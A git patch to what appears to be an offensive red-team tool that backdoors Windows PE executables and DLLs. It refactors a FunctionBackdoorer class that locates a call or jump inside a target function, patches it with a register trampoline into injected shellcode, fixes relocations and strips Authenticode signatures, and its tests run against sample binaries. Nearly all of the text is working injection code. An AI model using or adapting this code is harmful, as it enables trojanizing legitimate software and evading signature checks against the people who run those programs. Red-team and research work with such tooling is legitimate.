From bc6cc4df2dfebd2517ac03a3a2d4d1d12fe5c96d Mon Sep 17 00:00:00 2001 From: Dobin Date: Sat, 20 Apr 2024 15:09:17 +0100 Subject: [PATCH] refactor: function hijacker / DerBackdoorer rework --- pe/derbackdoorer.py | 227 +++++++++++++----------------------- pe/superpe.py | 71 +++++------ phases/injector.py | 33 +++--- supermega.py | 2 +- tests/test_derbackdoorer.py | 97 +++------------ 5 files changed, 144 insertions(+), 286 deletions(-) diff --git a/pe/derbackdoorer.py b/pe/derbackdoorer.py index b7be4be..2806f2f 100644 --- a/pe/derbackdoorer.py +++ b/pe/derbackdoorer.py @@ -18,180 +18,119 @@ from model.defs import * logger = logging.getLogger("DerBackdoorer") -class PeBackdoor: - def __init__(self, superpe: SuperPe, main_shc: bytes, carrier_invoke_style: CarrierInvokeStyle): +class FunctionBackdoorer: + def __init__(self, superpe: SuperPe, main_shc: bytes): self.superpe: SuperPe = superpe - self.carrier_invoke_style: CarrierInvokeStyle = carrier_invoke_style self.shellcodeData: bytes = main_shc + self.shellcodeAddr: int = 0 - # Working - self.shellcodeOffset: int = 0 # from start of the file - self.shellcodeOffsetRel: int = 0 # from start of the code section - self.shellcodeAddr: int = 0 - self.backdoorOffsetRel: int = 0 # from start of the code section + self.pe_data = self.superpe.pe.get_memory_mapped_image() + + self.cs = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_64 + capstone.CS_MODE_LITTLE_ENDIAN) + self.ks = keystone.Ks(keystone.KS_ARCH_X86, keystone.KS_MODE_64 + keystone.KS_MODE_LITTLE_ENDIAN) + self.cs.detail = True - def getExportEntryPoint(self, exportName: str): - dec = lambda x: '???' if x is None else x.decode() - d = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]] - self.superpe.pe.parse_data_directories(directories=d) - - if self.superpe.pe.DIRECTORY_ENTRY_EXPORT.symbols == 0: - raise Exception('No DLL exports found!') + def backdoor_function(self, function_addr: int, shellcode_addr: int): + self.shellcodeAddr = shellcode_addr + logger.info("Backdooring function at 0x{:X} (to shellcode 0x{:X})".format(function_addr, shellcode_addr)) - exports = [(e.ordinal, dec(e.name)) for e in self.superpe.pe.DIRECTORY_ENTRY_EXPORT.symbols] - chosen_export = None - for export in exports: - #logger.debug(f'DLL Export: {export[0]} {export[1]}') - if export[1].lower() == exportName.lower(): - chosen_export = export - break - #export = exports[0] - #if choose_random: - # export = exports[0] - logger.info("Export: {} {}".format(chosen_export[0], chosen_export[1])) - name = chosen_export[1] - #addr = self.superpe.pe.DIRECTORY_ENTRY_EXPORT.symbols[export[0]].address - for exp in self.superpe.pe.DIRECTORY_ENTRY_EXPORT.symbols: - #logger.info("-- {} {}".format(hex(exp.address), exp.name.decode())) - if exp.name.decode() == name: - #print(hex(exp.address), exp.name.decode()) - addr = exp.address - return addr - + instr = self.find_suitable_instruction_addr(function_addr, 128) + if instr is None: + raise Exception("Couldn't find a suitable instruction to backdoor") + compiled_trampoline, trampoline_reloc_offset = self.get_trampoline(instr) - def backdoor_function(self, function_addr, shellcode_addr): - #imageBase = self.superpe.pe.OPTIONAL_HEADER.ImageBase - #self.shellcodeAddr = self.superpe.pe.get_rva_from_offset(self.shellcodeOffset) + imageBase + # write + self.superpe.pe.set_bytes_at_rva(instr.address, bytes(compiled_trampoline)) - cs = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_64 + capstone.CS_MODE_LITTLE_ENDIAN) - ks = keystone.Ks(keystone.KS_ARCH_X86, keystone.KS_MODE_64 + keystone.KS_MODE_LITTLE_ENDIAN) - cs.detail = True + # relocs + relocs = ( + instr.address + trampoline_reloc_offset, + ) + pageRva = 4096 * int((instr.address + trampoline_reloc_offset) / 4096) + self.superpe.addImageBaseRelocations(pageRva, relocs) - #if addr == -1: - # ep = self.superpe.get_entrypoint() - # logger.info("--[ BackdoorEntryPoint(): Use Entry Point 0x{:X}".format(ep)) - #else: - # ep = addr - # logger.info("--[ BackdoorEntryPoint(): Use Addr 0x{:X}".format(ep)) - #ep_ava = ep + self.superpe.pe.OPTIONAL_HEADER.ImageBase - #data = self.superpe.pe.get_memory_mapped_image()[ep:ep+128] - #offset = 0 - #logger.debug('Entry Point disasm:') + def find_suitable_instruction_addr(self, startOffset, length, maxDepth = 5): + """Find a instruction to backdoor. Recursively.""" + return self._find_suitable_instruction_addr(startOffset, length, maxDepth, 1) - disasmData = self.superpe.pe.get_memory_mapped_image() - output = self.superpe.disasmBytes(cs, ks, disasmData, function_addr, 128, self.backdoorInstruction) - # store offset... by calculating it first FUCK - section = self.superpe.get_code_section() - self.backdoorOffsetRel = output - section.VirtualAddress + def _find_suitable_instruction_addr(self, startOffset, length, maxDepth, depth): + logger.info("find_suitable_instruction_addr: off: 0x{:X} len:{} depth:{}".format(startOffset, length, depth)) - if False: - if output != 0: - logger.debug('Now disasm looks like follows: ') + if depth > maxDepth: + return None - disasmData = self.superpe.pe.get_memory_mapped_image() - self.superpe.disasmBytes(cs, ks, disasmData, output - 32, 32, None, maxDepth = 3) + data = self.pe_data[startOffset:startOffset + length] - logger.debug('\n[>] Inserted backdoor code: ') - for instr in cs.disasm(bytes(self.compiledTrampoline), output): - self.superpe.printInstr(instr, 1) + for instr in self.cs.disasm(data, startOffset): + self.printInstr(instr, depth) - logger.debug('') - self.superpe.disasmBytes(cs, ks, disasmData, output + len(self.compiledTrampoline), 32, None, maxDepth = 3) + # find a call/jmp instruction with an immediate operand + if len(instr.operands) != 1: + continue + operand = instr.operands[0] + if operand.type != capstone.CS_OP_IMM: + continue + # We found one. check it. + logger.info('\t' * depth + f' -> Found OP_IMM: 0x{operand.value.imm:X}') + is_jumpy = instr.mnemonic.lower() in ['jmp', 'je', 'jz', 'jne', 'jnz', 'ja', 'jb', 'jae', 'jbe', 'jg', 'jl', 'jge', 'jle'] + is_jumpy |= instr.mnemonic.lower() == 'call' + if not is_jumpy: + continue + + # dont take a jump too early + if depth >= 2: + # use this as the backdoor + return instr else: - logger.error('Did not find suitable candidate for Entry Point branch hijack!') + # follow it deeper + if depth + 1 <= maxDepth: + out = self._find_suitable_instruction_addr( + operand.value.imm, length, maxDepth, depth + 1) + return out + return None - return output - - def getBackdoorTrampoline(self, cs, ks, instr): - trampoline = '' + def get_trampoline(self, instr): addrOffset = -1 - if self.superpe.is_64(): - registers = ['rax', 'rbx', 'rcx', 'rdx', 'rsi', 'rdi'] - else: - # Not really used - registers = ['eax', 'ebx', 'ecx', 'edx', 'esi', 'edi'] + if not self.superpe.is_64(): + raise Exception("Not 64 bit") + reg = random.choice(['rax', 'rbx', 'rcx', 'rdx', 'rsi', 'rdi']).upper() + full_shellcode_addr = self.shellcodeAddr + self.superpe.pe.OPTIONAL_HEADER.ImageBase - reg = random.choice(registers).upper() - reg2 = random.choice(registers).upper() - - while reg2 == reg: - reg2 = random.choice(registers).upper() - - enc, count = ks.asm(f'MOV {reg}, 0x{self.shellcodeAddr:X}') - for instr2 in cs.disasm(bytes(enc), 0): + enc, count = self.ks.asm(f'MOV {reg}, 0x{full_shellcode_addr:X}') + for instr2 in self.cs.disasm(bytes(enc), 0): addrOffset = len(instr2.bytes) - instr2.addr_size break - found = instr.mnemonic.lower() in ['jmp', 'je', 'jz', 'jne', 'jnz', 'ja', 'jb', 'jae', 'jbe', 'jg', 'jl', 'jge', 'jle'] - found |= instr.mnemonic.lower() == 'call' + jump = random.choice([ + f'CALL {reg}', - if found: - logger.info(f'---[ Backdooring entry point {instr.mnemonic.upper()} instruction at RVA 0x{instr.address:X} into:') + # + # During my tests I found that CALL reg works stabily all the time, whereas below two gadgets + # are known to crash on seldom occassions. + # - jump = random.choice([ - f'CALL {reg}', + #f'JMP {reg}', + #f'PUSH {reg} ; RET', + ]) - # - # During my tests I found that CALL reg works stabily all the time, whereas below two gadgets - # are known to crash on seldom occassions. - # - - #f'JMP {reg}', - #f'PUSH {reg} ; RET', - ]) - - trampoline = f'MOV {reg}, 0x{self.shellcodeAddr:X} ; {jump}' - - for ins in trampoline.split(';'): - logger.info(f'\t{ins.strip()}') - - return (trampoline, addrOffset) + trampoline_text = f'MOV {reg}, 0x{full_shellcode_addr:X} ; {jump}' + trampoline_compiled, count = self.ks.asm(trampoline_text) + logger.info("--[ Backdooring {} at 0x{:X} with trampoline: {}".format( + instr.mnemonic.upper(), instr.address, trampoline_text)) + return trampoline_compiled, addrOffset - def backdoorInstruction(self, cs, ks, disasmData, startOffset, instr, operand, depth): - encoding = b'' - count = 0 + def printInstr(self, instr, depth): + _bytes = [f'{x:02x}' for x in instr.bytes[:8]] + if len(instr.bytes) < 8: + _bytes.extend([' ',] * (8 - len(instr.bytes))) - if depth < 2: - return 0 + instrBytes = ' '.join([f'{x}' for x in _bytes]) + logger.info('\t' * 1 + f'[{instr.address:08x}]\t{instrBytes}' + '\t' * depth + f'{instr.mnemonic}\t{instr.op_str}') - (trampoline, addrOffset) = self.getBackdoorTrampoline(cs, ks, instr) - - if len(trampoline) > 0: - encoding, count = ks.asm(trampoline) - self.superpe.pe.set_bytes_at_rva(instr.address, bytes(encoding)) - - relocs = ( - instr.address + addrOffset, - ) - - pageRva = 4096 * int((instr.address + addrOffset) / 4096) - self.superpe.addImageBaseRelocations(pageRva, relocs) - - self.trampoline = trampoline - self.compiledTrampoline = encoding - self.compiledTrampolineCount = count - - logger.debug('Successfully backdoored entry point with jump/call to shellcode') - return instr.address - - return 0 - - - def removeSignature(self): - addr = self.superpe.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress - size = self.superpe.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].Size - - self.superpe.pe.set_bytes_at_rva(addr, b'\x00' * size) - - self.superpe.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0 - self.superpe.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].Size = 0 - - logger.info('PE executable Authenticode signature removed.') - return True \ No newline at end of file diff --git a/pe/superpe.py b/pe/superpe.py index 0d073df..c9d6edc 100644 --- a/pe/superpe.py +++ b/pe/superpe.py @@ -213,6 +213,28 @@ class SuperPe(): i += 1 + def getExportEntryPoint(self, exportName: str): + dec = lambda x: '???' if x is None else x.decode() + d = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]] + self.pe.parse_data_directories(directories=d) + + if self.pe.DIRECTORY_ENTRY_EXPORT.symbols == 0: + raise Exception('No DLL exports found!') + + exports = [(e.ordinal, dec(e.name)) for e in self.pe.DIRECTORY_ENTRY_EXPORT.symbols] + chosen_export = None + for export in exports: + if export[1].lower() == exportName.lower(): + chosen_export = export + break + logger.debug("Export: {} {}".format(chosen_export[0], chosen_export[1])) + name = chosen_export[1] + for exp in self.pe.DIRECTORY_ENTRY_EXPORT.symbols: + if exp.name.decode() == name: + addr = exp.address + return addr + + def get_exports(self) -> List[str]: """Return a list of exported functions (names) from the PE file""" d = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]] @@ -276,47 +298,12 @@ class SuperPe(): self.pe.write(outfile) - ## Disassembly / Output - - def disasmBytes(self, cs, ks, disasmData, startOffset, length, callback = None, maxDepth = 5): - return self._disasmBytes(cs, ks, disasmData, startOffset, length, callback, maxDepth, 1) + def removeSignature(self): + logger.info('PE executable Authenticode signature remove') + addr = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress + size = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_SECURITY].Size + self.pe.set_bytes_at_rva(addr, b'\x00' * size) - def printInstr(self, instr, depth): - _bytes = [f'{x:02x}' for x in instr.bytes[:8]] - if len(instr.bytes) < 8: - _bytes.extend([' ',] * (8 - len(instr.bytes))) - - instrBytes = ' '.join([f'{x}' for x in _bytes]) - logger.debug('\t' * 1 + f'[{instr.address:08x}]\t{instrBytes}' + '\t' * depth + f'{instr.mnemonic}\t{instr.op_str}') - - - def _disasmBytes(self, cs, ks, disasmData, startOffset, length, callback, maxDepth, depth): - if depth > maxDepth: - return 0 - - data = disasmData[startOffset:startOffset + length] - - for instr in cs.disasm(data, startOffset): - self.printInstr(instr, depth) - - if len(instr.operands) == 1: - operand = instr.operands[0] - - if operand.type == capstone.CS_OP_IMM: - logger.debug('\t' * (depth+1) + f' -> OP_IMM: 0x{operand.value.imm:X}') - logger.debug('') - - if callback: - out = callback(cs, ks, disasmData, startOffset, instr, operand, depth) - if out != 0: - return out - - if depth + 1 <= maxDepth: - out = self._disasmBytes(cs, ks, disasmData, operand.value.imm, length, callback, maxDepth, depth + 1) - return out - - if not callback: - return 1 - - return 0 + self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0 + self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_SECURITY].Size = 0 diff --git a/phases/injector.py b/phases/injector.py index fca8a48..09a1291 100644 --- a/phases/injector.py +++ b/phases/injector.py @@ -7,7 +7,7 @@ from model.carrier import Carrier, DataReuseEntry from pe.pehelper import * from model.exehost import * from observer import observer -from pe.derbackdoorer import PeBackdoor +from pe.derbackdoorer import FunctionBackdoorer from pe.superpe import SuperPe from model.project import Project from model.settings import Settings @@ -42,13 +42,13 @@ def inject_exe( # superpe is a representation of the exe file. We gonna modify it, and save it at the end. superpe = SuperPe(exe_in) - pe_backdoorer = PeBackdoor(superpe, main_shc, carrier_invoke_style) + function_backdoorer = FunctionBackdoorer(superpe, main_shc) shellcode_offset: int = 0 if superpe.is_dll() and settings.dllfunc != "" and carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint: # Special case. put it at the beginning of the exported DLL function logger.info("--[ Overwrite DLL function {} with shellcode".format(settings.dllfunc)) - rva = pe_backdoorer.getExportEntryPoint(settings.dllfunc) + rva = superpe.getExportEntryPoint(settings.dllfunc) # Size and sanity checks exports = superpe.get_exports_full() @@ -83,11 +83,6 @@ def inject_exe( # Copy the shellcode superpe.pe.set_bytes_at_offset(shellcode_offset, main_shc) - # HACK - pe_backdoorer.shellcodeOffset = shellcode_offset - pe_backdoorer.shellcodeOffsetRel = shellcode_offset - sect.PointerToRawData - pe_backdoorer.shellcodeAddr = shellcode_rva + superpe.pe.OPTIONAL_HEADER.ImageBase - # rewire flow if superpe.is_dll() and settings.dllfunc != "": logger.info("---( Rewire: DLL function: {} ".format(settings.dllfunc)) @@ -97,10 +92,10 @@ def inject_exe( raise Exception("We should not land here") elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr: - addr = pe_backdoorer.getExportEntryPoint(settings.dllfunc) + addr = superpe.getExportEntryPoint(settings.dllfunc) logger.info("--( Inject DLL: Patch {} (0x{:X})".format( settings.dllfunc, addr)) - pe_backdoorer.backdoor_function(addr, shellcode_rva) + function_backdoorer.backdoor_function(addr, shellcode_rva) else: # EXE logger.info("---( Rewire: EXE") @@ -114,7 +109,7 @@ def inject_exe( addr = superpe.get_entrypoint() logger.info("--( Inject EXE: Patch main() (0x{:X})".format( addr)) - pe_backdoorer.backdoor_function(addr, shellcode_rva) + function_backdoorer.backdoor_function(addr, shellcode_rva) if source_style == FunctionInvokeStyle.iat_reuse: injected_fix_iat(superpe, project.carrier, project.exe_host) @@ -124,14 +119,14 @@ def inject_exe( superpe.write_pe_to_file(exe_out) # verify and log - shellcode = file_readall_binary(shellcode_in) - shellcode_len = len(shellcode) - code = extract_code_from_exe_file(exe_out) - in_code = code[pe_backdoorer.shellcodeOffsetRel:pe_backdoorer.shellcodeOffsetRel+shellcode_len] - jmp_code = code[pe_backdoorer.backdoorOffsetRel:pe_backdoorer.backdoorOffsetRel+12] - if config.debug: - observer.add_code_file("exe_extracted_loader", in_code) - observer.add_code_file("exe_extracted_jmp", jmp_code) + #shellcode = file_readall_binary(shellcode_in) + #shellcode_len = len(shellcode) + #code = extract_code_from_exe_file(exe_out) + #in_code = code[function_backdoorer.shellcodeOffsetRel:function_backdoorer.shellcodeOffsetRel+shellcode_len] + #jmp_code = code[function_backdoorer.backdoorOffsetRel:function_backdoorer.backdoorOffsetRel+12] + #if config.debug: + # observer.add_code_file("exe_extracted_loader", in_code) + # observer.add_code_file("exe_extracted_jmp", jmp_code) def injected_fix_iat(superpe: SuperPe, carrier: Carrier, exe_host: ExeHost): diff --git a/supermega.py b/supermega.py index 86b5809..60de2a8 100644 --- a/supermega.py +++ b/supermega.py @@ -67,7 +67,7 @@ def main(): elif args.carrier_invoke == "backdoor": settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr else: - logging.error("Invalid mode, use one of:") + logging.error("Invalid carrier_invoke, use one of:") for i in ["eop", "backdoor"]: logging.error(" {} {}".format(i, carrier_invoke_style_str(i))) return diff --git a/tests/test_derbackdoorer.py b/tests/test_derbackdoorer.py index 6cadd61..ecc7141 100644 --- a/tests/test_derbackdoorer.py +++ b/tests/test_derbackdoorer.py @@ -9,96 +9,33 @@ from pe.pehelper import extract_code_from_exe_file from utils import hexdump from observer import observer from model.defs import * -from pe.derbackdoorer import PeBackdoor +from pe.derbackdoorer import FunctionBackdoorer +from pe.superpe import SuperPe -# What to make sure of: -# 1: Change of AddressEntryPoint -# * Shellcode is at the location given -# * EP points to the shellcode -# -# 2: Hijack -# * Shellcode is at the location given -# * The call has been patched - class DerBackdoorerTest(unittest.TestCase): @classmethod def setUpClass(cls): observer.active = False - def test_backdoor_ep(self): - # Write example shellcode - shellcode_path = PATH_EXES + "shellcode.test" + + def test_function_backdoorer_exe(self): shellcode = b"\x90" * 200 - with open(shellcode_path, "wb") as f: - f.write(shellcode) + superpe = SuperPe(PATH_EXES + "iattest-full.exe") + function_backdoorer = FunctionBackdoorer(superpe, shellcode) - exe_path = PATH_EXES + "iattest-full.exe" - exe_out_path = PATH_EXES + "iattest-full.test.exe" - - shutil.copyfile(exe_path, exe_out_path) - - pe_backdoorer = PeBackdoor() - result = pe_backdoorer.backdoor( - 1, # always overwrite .text section - 1, # EntryPoint change - shellcode_path, - exe_path, - exe_out_path, - ) - - self.assertTrue(result) - code = extract_code_from_exe_file(exe_out_path) - extracted_code = code[pe_backdoorer.shellcodeOffsetRel:pe_backdoorer.shellcodeOffsetRel+len(shellcode)] - self.assertEqual(shellcode, extracted_code) - - os.remove(exe_out_path) - os.remove(shellcode_path) + instr = function_backdoorer.find_suitable_instruction_addr(superpe.get_entrypoint(), 128, 5) + self.assertIsNotNone(instr) + self.assertEqual(instr.mnemonic, "jne") + self.assertEqual(instr.address, 0x1701) - def test_backdoor_hijack(self): - # Write example shellcode + def test_function_backdoorer_dll(self): shellcode = b"\x90" * 200 - with open(PATH_EXES + "shellcode.test", "wb") as f: - f.write(shellcode) + superpe = SuperPe(PATH_EXES + "libbz2-1.dll") + function_backdoorer = FunctionBackdoorer(superpe, shellcode) - shellcode_path = PATH_EXES + "shellcode.test" - exe_path = PATH_EXES + "7z.exe" - exe_out_path = PATH_EXES + "7z.test.exe" - - shutil.copyfile(exe_path, exe_out_path) - - pe_backdoorer = PeBackdoor() - result = pe_backdoorer.backdoor( - 1, # always overwrite .text section - 2, # Hijack - shellcode_path, - exe_path, - exe_out_path, - ) - - self.assertTrue(result) - - # code - code = extract_code_from_exe_file(exe_out_path) - extracted_code = code[pe_backdoorer.shellcodeOffsetRel:pe_backdoorer.shellcodeOffsetRel+len(shellcode)] - self.assertEqual(shellcode, extracted_code) - - # jmp - # 48 c7 c2 d7 fb 42 00 ff d2 5b 0f b7 - # 48 c7 c6 d7 fb 42 00 ff d6 5b 0f b7 - jmp_code = code[pe_backdoorer.backdoorOffsetRel:pe_backdoorer.backdoorOffsetRel+12] - self.assertEqual(jmp_code[0], 0x48) - self.assertEqual(jmp_code[1], 0xc7) - #self.assertEqual(jmp_code[2], 0x??) # variable - self.assertEqual(jmp_code[3], 0xd7) - self.assertEqual(jmp_code[4], 0xfb) - self.assertEqual(jmp_code[5], 0x42) - self.assertEqual(jmp_code[6], 0x00) - self.assertEqual(jmp_code[7], 0xff) - #self.assertEqual(jmp_code[8], 0x??) # variable - self.assertEqual(jmp_code[9], 0x5b) - self.assertEqual(jmp_code[10], 0x0f) - self.assertEqual(jmp_code[11], 0xb7) - - os.remove(exe_out_path) \ No newline at end of file + instr = function_backdoorer.find_suitable_instruction_addr(superpe.get_entrypoint(), 128, 5) + self.assertIsNotNone(instr) + self.assertEqual(instr.mnemonic, "jne") + self.assertEqual(instr.address, 0x1220)